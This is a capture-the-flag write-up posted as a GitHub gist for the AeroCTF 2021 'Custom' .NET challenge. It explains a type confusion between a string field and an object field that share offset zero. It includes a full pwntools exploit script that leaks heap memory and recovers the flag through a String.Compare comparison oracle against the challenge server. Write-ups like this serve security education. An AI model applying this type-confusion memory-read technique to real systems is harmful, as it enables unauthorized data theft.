Skip to content

Instantly share code, notes, and snippets.

@farazsth98
Last active February 28, 2021 10:29
Show Gist options
  • Save farazsth98/349d36d26708b9d0387676fda051be1e to your computer and use it in GitHub Desktop.
Save farazsth98/349d36d26708b9d0387676fda051be1e to your computer and use it in GitHub Desktop.
AeroCTF 2021 - Custom

Just another object creation primitive. Please, obtain the flag.

custom.tar.gz

nc 151.236.114.211 17102

Hint: FROM mcr.microsoft.com/dotnet/runtime:5.0

Author: keltecc (Discord)

Solves: 3

Bugs

Disclaimer: This isn't a fully detailed writeup, so if you have any questions feel free to DM me on twitter or discord.

This was a dotnet core binary. You can find the decompiled code (and all the rest of the challenge files) here.

When just playing around with the challenge, we found that if we created a Customer, changed their name, and then tried to change their balance / buy an item, the binary would crash when dereferencing a register with a controlled value.

Initially we thought it was just a UAF, but that didn't make sense since C# is a GC'd language. The actual bug was found by vakzz in Custom.cs:

// Token: 0x02000003 RID: 3
	[StructLayout(LayoutKind.Explicit)]
	public struct Customer
	{
		// Token: 0x04000003 RID: 3
		[FieldOffset(0)]
		public string CustomerName;

		// Token: 0x04000004 RID: 4
		[FieldOffset(0)]
		public CustomerInfo CustomerInfo;
	}

Basically, CustomerName and CustomerInfo both have a [FieldOffset(0)], which means you get a type confusion between the name String and the actual CustomerInfo.

Debugging tips

Without going into too much detail about this, you can use the dotnet-sos plugin with lldb on Linux to figure out what's going on. Using this, we knew that if we did the following steps, we were basically calling System.String.Compare(this, <controlled_address>):

  1. Create a customer
  2. Change their name
  3. Buy an item. The price you provide is the <controlled_address> from above.

The second thing we figured out was that a System.String object basically has the following layout in memory:

+----------------------------------+----------------+----------------+
|                                  |                |                |
|           [8 bytes]              |   [4 bytes]    |   [X bytes]    |
|          Method Table            |    Length      |     Inline     |
|                                  |                |     String     |
+----------------------------------+----------------+----------------+

While the CustomerInfo object has the following layout in memory:

+----------------------------------+----------------+----------------+
|                                  |                |                |
|            [8 bytes]             |   [4 bytes]    |   [4 bytes]    |
|           Method Table           |      Id        |    Balance     |
|                                  |                |                |
+----------------------------------+----------------+----------------+

So basically, if we create a large number of customers and just show the name of the last one, the Id field is treated as the length of the name, and we get a huge dump of heap data.

As for the reason behind the crash in System.String.Compare beforehand, basically if you change a customer's name, the CustomerInfo object is replaced with a System.String object. These two objects have different Method Tables (C#'s version of vtables), and so when attempting to buy an item, it would call a String function and not the CustomerInfo's function.

Exploitation

Once we have the huge dump of heap data, we can just get a pointer out of the dump and then use that to find the offset of the flag on the heap (the binary initially reads the flag's data and stores it into the heap).

Unfortunately this offset is not the same locally and remotely, so I had to resort to scanning the heap to find the flag in the first place, and then doing a broken binary search to find the flag.

Please refer to the commented script below to see the exploit in action. Note that the binary search is not fully functional. The final flag output of the script is:

[*] Aero{w
[*] Aero{wE
[*] Aero{wEw
[*] Aero{wEwI
[*] Aero{wEwIL
[*] Aero{wEwILL
[*] Aero{wEwILLw
[*] Aero{wEwILLwE
[*] Aero{wEwILLwEw
[*] Aero{wEwILLwEwI
[*] Aero{wEwILLwEwIL
[*] Aero{wEwILLwEwILL
[*] Aero{wEwILLwEwILLM
[*] Aero{wEwILLwEwILLMA
[*] Aero{wEwILLwEwILLMAN
[*] Aero{wEwILLwEwILLMANA
[*] Aero{wEwILLwEwILLMANAG
[*] Aero{wEwILLwEwILLMANAGE

Whereas the final flag is Aero{wewillwewillmanageyou}, which I managed to submit with a little guessing :P

#!/usr/bin/env python3

from pwn import *

#p = process("./Custom")
p = remote("151.236.114.211", 17102)

def create():
    p.sendlineafter(">>> ", "1")

def change_name(idx, name):
    p.sendlineafter(">>> ", "2")
    p.sendlineafter(": ", str(idx))
    p.sendlineafter(": ", name)

def change_balance(idx, balance):
    p.sendlineafter(">>> ", "3")
    p.sendlineafter(": ", str(idx))
    p.sendlineafter(": ", str(balance))

def show_name(idx):
    p.sendlineafter(">>> ", "4")
    p.sendlineafter(": ", str(idx))

def show_balance(idx):
    p.sendlineafter(">>> ", "5")
    p.sendlineafter(": ", str(idx))

def buy(idx, price):
    p.sendlineafter(">>> ", "6")
    p.sendlineafter(": ", str(idx))
    p.sendlineafter(": ", str(price))

    p.recvuntil("new balance = ")
    ret = int(p.recvline())

    return ret

def un16(s):
    return s.decode("utf-8").encode("utf-16")

def do16(s):
    return s.decode("utf-16").encode("utf-8")

# Make the ID field really large
for i in range(0x102):
    create()

# Prints 0x100 bytes of heap data
show_name(0x100)

p.recvuntil("name = ")
leaks = un16(p.recvline())

# Just pick a pointer from the heap dump to leak
leak1 = u64(leaks[54:60].ljust(8, b"\x00"))

log.info(hexdump(leaks))
log.info("leak1: " + hex(leak1))

# The flag is on the heap at some offset from the leak.
#
# My local offset was approximately at leak1 - 0x12c50, but the remote one
# was at leak1 - 0x8000 + some offset. Figured this out by actually scanning
# the entire heap.
possible_flag_string = leak1 - 0x8000
flag_string = -1

log.info("Searching from: " + hex(possible_flag_string))

current_addr = possible_flag_string

# The idea here is that buy() will make a virtual call on System.String.Compare
# where the first argument is our CustomerInfo object, and the second argument
# is the price (treated as an address of a String object).
#
# Through trial and error, I found that when comparing an example flag locally,
# comparing with Aero{ will cause the buy() function to return a balance of -1,
# while comparing Aero| (`|` is one after `{` on the ascii table) will cause
# the function to return 1. I use this logic to find the location of the flag
# on the heap
while True:
    change_name(0, "Aero{")
    ret1 = buy(0, current_addr)
    change_name(0, "Aero|")
    ret2 = buy(0, current_addr)

    if ret1 == -1 and ret2 == 1:
        flag_string = current_addr
        break
    
    current_addr += 8

# We found the flag, time to start a binary search
log.info("Found flag at address: " + hex(flag_string))

known_flag = b"Aero{"

# This algorithm isn't perfect, but it's good enough to find most of the flag
# and guess the rest
while True:
    min_byte = 0x20
    max_byte = 0x7e
    test = min_byte + ((max_byte - min_byte) // 2)

    change_name(0, known_flag)
    ret = buy(0, flag_string)

    if ret == 0:
        break

    while True:
        change_name(0, known_flag + bytes([test]))
        ret = buy(0, flag_string)

        if ret == -1:
            change_name(0, known_flag + bytes([test+1]))
            ret2 = buy(0, flag_string)
            if ret2 == 1:
                known_flag += bytes([test])
                log.info(known_flag)
                break
            min_byte = test
            test = min_byte + ((max_byte - min_byte) // 2)

        if ret == 1:
            change_name(0, known_flag + bytes([test-1]))
            ret2 = buy(0, flag_string)
            if ret2 == -1:
                known_flag += bytes([test-1])
                log.info(known_flag)
                break
            max_byte = test
            test = min_byte + ((max_byte - min_byte) // 2)

print(b"Flag: " + known_flag)

p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment